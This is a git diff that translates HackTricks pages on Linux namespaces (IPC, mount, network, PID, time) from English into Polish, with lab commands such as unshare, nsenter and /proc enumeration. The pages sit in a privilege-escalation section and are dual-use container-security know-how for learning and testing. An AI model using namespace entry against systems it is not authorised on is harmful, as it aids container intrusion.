nowa przestrzeń nazw PID jest prawidłowo utrzymywana, co pozwala na działanie `/bin/bash` i jego podprocesów bez napotkania błędu przydzielania pamięci.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Sprawdź, w której przestrzeni nazw znajduje się twój proces ```bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` - -### Find all IPC namespaces - +### Znajdź wszystkie przestrzenie nazw IPC ```bash sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an IPC namespace - +### Wejdź do przestrzeni nazw IPC ```bash nsenter -i TARGET_PID --pid /bin/bash ``` +Możesz **wejść do innej przestrzeni nazw procesów tylko jako root**. I **nie możesz** **wejść** do innej przestrzeni nazw **bez deskryptora** wskazującego na nią (takiego jak `/proc/self/ns/net`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -### Create IPC object - +### Utwórz obiekt IPC ```bash # Container sudo unshare -i /bin/bash @@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status # From the host ipcs -m # Nothing is seen ``` - -## References +## Odniesienia - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 7cdc2cf0d..ad20419b1 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -2,70 +2,63 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy. +Mount namespace to funkcja jądra Linux, która zapewnia izolację punktów montowania systemu plików widocznych dla grupy procesów. Każda mount namespace ma swój własny zestaw punktów montowania systemu plików, a **zmiany w punktach montowania w jednej namespace nie wpływają na inne namespace**. Oznacza to, że procesy działające w różnych mount namespaces mogą mieć różne widoki hierarchii systemu plików. -Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system. +Mount namespaces są szczególnie przydatne w konteneryzacji, gdzie każdy kontener powinien mieć swój własny system plików i konfigurację, izolowaną od innych kontenerów i systemu gospodarza. -### How it works: +### Jak to działa: -1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces. -2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy. -3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace. -4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points. +1. Gdy nowa mount namespace jest tworzona, jest inicjowana **kopią punktów montowania z jej nadrzędnej namespace**. Oznacza to, że w momencie utworzenia nowa namespace dzieli ten sam widok systemu plików co jej nadrzędna. Jednak wszelkie późniejsze zmiany w punktach montowania w obrębie namespace nie wpłyną na nadrzędną ani inne namespaces. +2. Gdy proces modyfikuje punkt montowania w swojej namespace, na przykład montując lub odmontowując system plików, **zmiana jest lokalna dla tej namespace** i nie wpływa na inne namespaces. Umożliwia to każdej namespace posiadanie własnej niezależnej hierarchii systemu plików. +3. Procesy mogą przemieszczać się między namespaces za pomocą wywołania systemowego `setns()`, lub tworzyć nowe namespaces za pomocą wywołań systemowych `unshare()` lub `clone()` z flagą `CLONE_NEWNS`. Gdy proces przemieszcza się do nowej namespace lub ją tworzy, zacznie używać punktów montowania związanych z tą namespace. +4. **Deskryptory plików i inody są współdzielone między namespaces**, co oznacza, że jeśli proces w jednej namespace ma otwarty deskryptor pliku wskazujący na plik, może **przekazać ten deskryptor pliku** do procesu w innej namespace, a **oba procesy będą miały dostęp do tego samego pliku**. Jednak ścieżka pliku może nie być taka sama w obu namespaces z powodu różnic w punktach montowania. -## Lab: +## Laboratorium: -### Create different Namespaces +### Tworzenie różnych Namespaces #### CLI - ```bash sudo unshare -m [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montując nową instancję systemu plików `/proc`, używając parametru `--mount-proc`, zapewniasz, że nowa przestrzeń montowania ma **dokładny i izolowany widok informacji o procesach specyficznych dla tej przestrzeni**.
-Error: bash: fork: Cannot allocate memory +Błąd: bash: fork: Nie można przydzielić pamięci -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Gdy `unshare` jest wykonywane bez opcji `-f`, napotykany jest błąd z powodu sposobu, w jaki Linux obsługuje nowe przestrzenie nazw PID (identyfikator procesu). Kluczowe szczegóły oraz rozwiązanie są przedstawione poniżej: -1. **Problem Explanation**: +1. **Wyjaśnienie problemu**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Jądro Linuxa pozwala procesowi na tworzenie nowych przestrzeni nazw za pomocą wywołania systemowego `unshare`. Jednak proces, który inicjuje tworzenie nowej przestrzeni nazw PID (nazywany "procesem unshare"), nie wchodzi do nowej przestrzeni; tylko jego procesy potomne to robią. +- Uruchomienie `%unshare -p /bin/bash%` uruchamia `/bin/bash` w tym samym procesie co `unshare`. W konsekwencji, `/bin/bash` i jego procesy potomne znajdują się w oryginalnej przestrzeni nazw PID. +- Pierwszy proces potomny `/bin/bash` w nowej przestrzeni staje się PID 1. Gdy ten proces kończy działanie, uruchamia czyszczenie przestrzeni, jeśli nie ma innych procesów, ponieważ PID 1 ma specjalną rolę przyjmowania osieroconych procesów. Jądro Linuxa wyłączy wtedy przydzielanie PID w tej przestrzeni. -2. **Consequence**: +2. **Konsekwencja**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Zakończenie PID 1 w nowej przestrzeni prowadzi do usunięcia flagi `PIDNS_HASH_ADDING`. Skutkuje to niepowodzeniem funkcji `alloc_pid` w przydzieleniu nowego PID podczas tworzenia nowego procesu, co skutkuje błędem "Nie można przydzielić pamięci". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rozwiązanie**: +- Problem można rozwiązać, używając opcji `-f` z `unshare`. Ta opcja sprawia, że `unshare` fork'uje nowy proces po utworzeniu nowej przestrzeni nazw PID. +- Wykonanie `%unshare -fp /bin/bash%` zapewnia, że polecenie `unshare` samo staje się PID 1 w nowej przestrzeni. `/bin/bash` i jego procesy potomne są następnie bezpiecznie zawarte w tej nowej przestrzeni, co zapobiega przedwczesnemu zakończeniu PID 1 i umożliwia normalne przydzielanie PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Zapewniając, że `unshare` działa z flagą `-f`, nowa przestrzeń nazw PID jest prawidłowo utrzymywana, co pozwala na działanie `/bin/bash` i jego podprocesów bez napotkania błędu przydzielania pamięci.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Sprawdź, w którym namespace znajduje się twój proces ```bash ls -l /proc/self/ns/mnt lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' ``` - -### Find all Mount namespaces - +### Znajdź wszystkie przestrzenie montowania ```bash sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace @@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g ```bash findmnt ``` - -### Enter inside a Mount namespace - +### Wejdź do przestrzeni nazw montowania ```bash nsenter -m TARGET_PID --pid /bin/bash ``` +Możesz **wejść do innej przestrzeni nazw procesów tylko jako root**. I **nie możesz** **wejść** do innej przestrzeni nazw **bez deskryptora** wskazującego na nią (jak `/proc/self/ns/mnt`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`). - -Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it. - -### Mount something +Ponieważ nowe montowania są dostępne tylko w obrębie przestrzeni nazw, możliwe jest, że przestrzeń nazw zawiera wrażliwe informacje, które mogą być dostępne tylko z niej. +### Zamontuj coś ```bash # Generate new mount ns unshare -m /bin/bash @@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq vmware-root_662-2689143848 ``` - -## References +## Odniesienia - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 8ab89ce7f..e10cc2293 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -2,83 +2,73 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system. +Network namespace to funkcja jądra Linux, która zapewnia izolację stosu sieciowego, pozwalając **każdemu network namespace na posiadanie własnej niezależnej konfiguracji sieci**, interfejsów, adresów IP, tabel routingu i reguł zapory. Ta izolacja jest przydatna w różnych scenariuszach, takich jak konteneryzacja, gdzie każdy kontener powinien mieć swoją własną konfigurację sieci, niezależnie od innych kontenerów i systemu gospodarza. -### How it works: +### Jak to działa: -1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default. -2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container. -3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems. -4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace. +1. Gdy nowy network namespace jest tworzony, zaczyna z **całkowicie izolowanym stosie sieciowym**, z **brakiem interfejsów sieciowych** poza interfejsem loopback (lo). Oznacza to, że procesy działające w nowym network namespace nie mogą komunikować się z procesami w innych namespaces lub systemie gospodarza domyślnie. +2. **Wirtualne interfejsy sieciowe**, takie jak pary veth, mogą być tworzone i przenoszone między network namespaces. Umożliwia to nawiązywanie łączności sieciowej między namespaces lub między namespace a systemem gospodarza. Na przykład, jeden koniec pary veth może być umieszczony w network namespace kontenera, a drugi koniec może być podłączony do **bridge** lub innego interfejsu sieciowego w namespace gospodarza, zapewniając łączność sieciową dla kontenera. +3. Interfejsy sieciowe w obrębie namespace mogą mieć **własne adresy IP, tabele routingu i reguły zapory**, niezależnie od innych namespaces. Umożliwia to procesom w różnych network namespaces posiadanie różnych konfiguracji sieciowych i działanie tak, jakby działały na oddzielnych systemach sieciowych. +4. Procesy mogą przemieszczać się między namespaces za pomocą wywołania systemowego `setns()`, lub tworzyć nowe namespaces za pomocą wywołań systemowych `unshare()` lub `clone()` z flagą `CLONE_NEWNET`. Gdy proces przemieszcza się do nowego namespace lub tworzy jeden, zacznie używać konfiguracji sieci i interfejsów związanych z tym namespace. -## Lab: +## Laboratorium: -### Create different Namespaces +### Tworzenie różnych Namespaces #### CLI - ```bash sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montując nową instancję systemu plików `/proc`, używając parametru `--mount-proc`, zapewniasz, że nowa przestrzeń montowania ma **dokładny i izolowany widok informacji o procesach specyficznych dla tej przestrzeni**.
-Error: bash: fork: Cannot allocate memory +Błąd: bash: fork: Nie można przydzielić pamięci -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Gdy `unshare` jest wykonywane bez opcji `-f`, napotykany jest błąd z powodu sposobu, w jaki Linux obsługuje nowe przestrzenie nazw PID (identyfikator procesu). Kluczowe szczegóły oraz rozwiązanie są przedstawione poniżej: -1. **Problem Explanation**: +1. **Wyjaśnienie problemu**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Jądro Linuxa pozwala procesowi na tworzenie nowych przestrzeni nazw za pomocą wywołania systemowego `unshare`. Jednak proces, który inicjuje tworzenie nowej przestrzeni nazw PID (nazywany "procesem unshare"), nie wchodzi do nowej przestrzeni; tylko jego procesy potomne to robią. +- Uruchomienie `%unshare -p /bin/bash%` uruchamia `/bin/bash` w tym samym procesie co `unshare`. W konsekwencji, `/bin/bash` i jego procesy potomne znajdują się w oryginalnej przestrzeni nazw PID. +- Pierwszy proces potomny `/bin/bash` w nowej przestrzeni staje się PID 1. Gdy ten proces kończy działanie, uruchamia sprzątanie przestrzeni, jeśli nie ma innych procesów, ponieważ PID 1 ma specjalną rolę przyjmowania osieroconych procesów. Jądro Linuxa wyłączy wtedy przydzielanie PID w tej przestrzeni. -2. **Consequence**: +2. **Konsekwencja**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Zakończenie PID 1 w nowej przestrzeni prowadzi do usunięcia flagi `PIDNS_HASH_ADDING`. Skutkuje to niepowodzeniem funkcji `alloc_pid` w przydzieleniu nowego PID podczas tworzenia nowego procesu, co skutkuje błędem "Nie można przydzielić pamięci". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rozwiązanie**: +- Problem można rozwiązać, używając opcji `-f` z `unshare`. Ta opcja sprawia, że `unshare` fork'uje nowy proces po utworzeniu nowej przestrzeni nazw PID. +- Wykonanie `%unshare -fp /bin/bash%` zapewnia, że polecenie `unshare` samo staje się PID 1 w nowej przestrzeni. `/bin/bash` i jego procesy potomne są wtedy bezpiecznie zawarte w tej nowej przestrzeni, co zapobiega przedwczesnemu zakończeniu PID 1 i umożliwia normalne przydzielanie PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Zapewniając, że `unshare` działa z flagą `-f`, nowa przestrzeń nazw PID jest prawidłowo utrzymywana, co pozwala na działanie `/bin/bash` i jego podprocesów bez napotkania błędu przydzielania pamięci.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` - -### Check which namespace is your process in - +### Sprawdź, w którym namespace znajduje się twój proces ```bash ls -l /proc/self/ns/net lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' ``` - -### Find all Network namespaces - +### Znajdź wszystkie przestrzenie nazw sieciowych ```bash sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:" # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Network namespace - +### Wejdź do przestrzeni nazw sieciowej ```bash nsenter -n TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). +Możesz **wejść do innej przestrzeni nazw procesów tylko jako root**. I **nie możesz** **wejść** do innej przestrzeni nazw **bez deskryptora** wskazującego na nią (jak `/proc/self/ns/net`). ## References diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 0d4297366..93f8b1f0e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -2,87 +2,77 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management. +Namespace PID (Process IDentifier) to funkcja w jądrze Linux, która zapewnia izolację procesów, umożliwiając grupie procesów posiadanie własnego zestawu unikalnych PID-ów, oddzielnych od PID-ów w innych namespace'ach. Jest to szczególnie przydatne w konteneryzacji, gdzie izolacja procesów jest niezbędna dla bezpieczeństwa i zarządzania zasobami. -When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces. +Gdy tworzony jest nowy namespace PID, pierwszy proces w tym namespace otrzymuje PID 1. Ten proces staje się procesem "init" nowego namespace i jest odpowiedzialny za zarządzanie innymi procesami w obrębie namespace. Każdy kolejny proces utworzony w namespace będzie miał unikalny PID w tym namespace, a te PID-y będą niezależne od PID-ów w innych namespace'ach. -From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another. +Z perspektywy procesu w namespace PID, może on widzieć tylko inne procesy w tym samym namespace. Nie jest świadomy procesów w innych namespace'ach i nie może z nimi interagować za pomocą tradycyjnych narzędzi do zarządzania procesami (np. `kill`, `wait` itp.). Zapewnia to poziom izolacji, który pomaga zapobiegać zakłóceniom między procesami. -### How it works: +### Jak to działa: -1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. -2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. -3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. -4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. +1. Gdy nowy proces jest tworzony (np. za pomocą wywołania systemowego `clone()`), proces może być przypisany do nowego lub istniejącego namespace PID. **Jeśli tworzony jest nowy namespace, proces staje się procesem "init" tego namespace**. +2. **Jądro** utrzymuje **mapowanie między PID-ami w nowym namespace a odpowiadającymi PID-ami** w namespace rodzicu (tj. namespace, z którego utworzono nowy namespace). To mapowanie **pozwala jądru na tłumaczenie PID-ów w razie potrzeby**, na przykład podczas wysyłania sygnałów między procesami w różnych namespace'ach. +3. **Procesy w namespace PID mogą widzieć i interagować tylko z innymi procesami w tym samym namespace**. Nie są świadome procesów w innych namespace'ach, a ich PID-y są unikalne w obrębie ich namespace. +4. Gdy **namespace PID jest niszczony** (np. gdy proces "init" namespace kończy działanie), **wszystkie procesy w tym namespace są kończone**. Zapewnia to, że wszystkie zasoby związane z namespace są odpowiednio sprzątane. -## Lab: +## Laboratorium: -### Create different Namespaces +### Tworzenie różnych namespace'ów #### CLI - ```bash sudo unshare -pf --mount-proc /bin/bash ``` -
-Error: bash: fork: Cannot allocate memory +Błąd: bash: fork: Nie można przydzielić pamięci -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Gdy `unshare` jest wykonywane bez opcji `-f`, napotykany jest błąd z powodu sposobu, w jaki Linux obsługuje nowe przestrzenie nazw PID (identyfikator procesu). Kluczowe szczegóły i rozwiązanie są przedstawione poniżej: -1. **Problem Explanation**: +1. **Wyjaśnienie problemu**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Jądro Linuxa pozwala procesowi na tworzenie nowych przestrzeni nazw za pomocą wywołania systemowego `unshare`. Jednak proces, który inicjuje tworzenie nowej przestrzeni nazw PID (nazywany "procesem unshare"), nie wchodzi do nowej przestrzeni nazw; tylko jego procesy potomne to robią. +- Uruchomienie `%unshare -p /bin/bash%` uruchamia `/bin/bash` w tym samym procesie co `unshare`. W konsekwencji, `/bin/bash` i jego procesy potomne znajdują się w oryginalnej przestrzeni nazw PID. +- Pierwszy proces potomny `/bin/bash` w nowej przestrzeni nazw staje się PID 1. Gdy ten proces kończy działanie, uruchamia sprzątanie przestrzeni nazw, jeśli nie ma innych procesów, ponieważ PID 1 ma specjalną rolę przyjmowania osieroconych procesów. Jądro Linuxa wyłączy wtedy przydzielanie PID w tej przestrzeni nazw. -2. **Consequence**: +2. **Konsekwencja**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Zakończenie PID 1 w nowej przestrzeni nazw prowadzi do usunięcia flagi `PIDNS_HASH_ADDING`. Skutkuje to niepowodzeniem funkcji `alloc_pid` w przydzieleniu nowego PID podczas tworzenia nowego procesu, co skutkuje błędem "Nie można przydzielić pamięci". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rozwiązanie**: +- Problem można rozwiązać, używając opcji `-f` z `unshare`. Ta opcja sprawia, że `unshare` fork'uje nowy proces po utworzeniu nowej przestrzeni nazw PID. +- Wykonanie `%unshare -fp /bin/bash%` zapewnia, że polecenie `unshare` samo staje się PID 1 w nowej przestrzeni nazw. `/bin/bash` i jego procesy potomne są następnie bezpiecznie zawarte w tej nowej przestrzeni nazw, co zapobiega przedwczesnemu zakończeniu PID 1 i umożliwia normalne przydzielanie PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Zapewniając, że `unshare` działa z flagą `-f`, nowa przestrzeń nazw PID jest prawidłowo utrzymywana, co pozwala na działanie `/bin/bash` i jego podprocesów bez napotkania błędu przydzielania pamięci.
-By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montaż nowej instancji systemu plików `/proc`, jeśli użyjesz parametru `--mount-proc`, zapewnia, że nowa przestrzeń nazw montowania ma **dokładny i izolowany widok informacji o procesach specyficznych dla tej przestrzeni nazw**. #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace are your process in - +### Sprawdź, w którym namespace znajduje się twój proces ```bash ls -l /proc/self/ns/pid lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ``` - -### Find all PID namespaces - +### Znajdź wszystkie przestrzenie nazw PID ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` +Zauważ, że użytkownik root z początkowej (domyślnej) przestrzeni nazw PID może widzieć wszystkie procesy, nawet te w nowych przestrzeniach nazw PID, dlatego możemy zobaczyć wszystkie przestrzenie nazw PID. -Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces. - -### Enter inside a PID namespace - +### Wejdź do przestrzeni nazw PID ```bash nsenter -t TARGET_PID --pid /bin/bash ``` +Kiedy wchodzisz do przestrzeni nazw PID z domyślnej przestrzeni, nadal będziesz mógł zobaczyć wszystkie procesy. A proces z tej przestrzeni PID będzie mógł zobaczyć nowego basha w przestrzeni PID. -When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns. - -Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`) +Również możesz **wejść do innej przestrzeni nazw PID tylko jeśli jesteś rootem**. I **nie możesz** **wejść** do innej przestrzeni **bez deskryptora** wskazującego na nią (jak `/proc/self/ns/pid`) ## References diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 5d2201886..c17813eda 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -2,71 +2,61 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot. +Namespace czasu w systemie Linux pozwala na per-namespace przesunięcia do systemowych zegarów monotonicznych i czasów uruchomienia. Jest powszechnie używany w kontenerach Linux do zmiany daty/czasu wewnątrz kontenera oraz dostosowywania zegarów po przywróceniu z punktu kontrolnego lub migawki. -## Lab: +## Laboratorium: -### Create different Namespaces +### Tworzenie różnych Namespace'ów #### CLI - ```bash sudo unshare -T [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montując nową instancję systemu plików `/proc`, używając parametru `--mount-proc`, zapewniasz, że nowa przestrzeń montowania ma **dokładny i izolowany widok informacji o procesach specyficznych dla tej przestrzeni**.
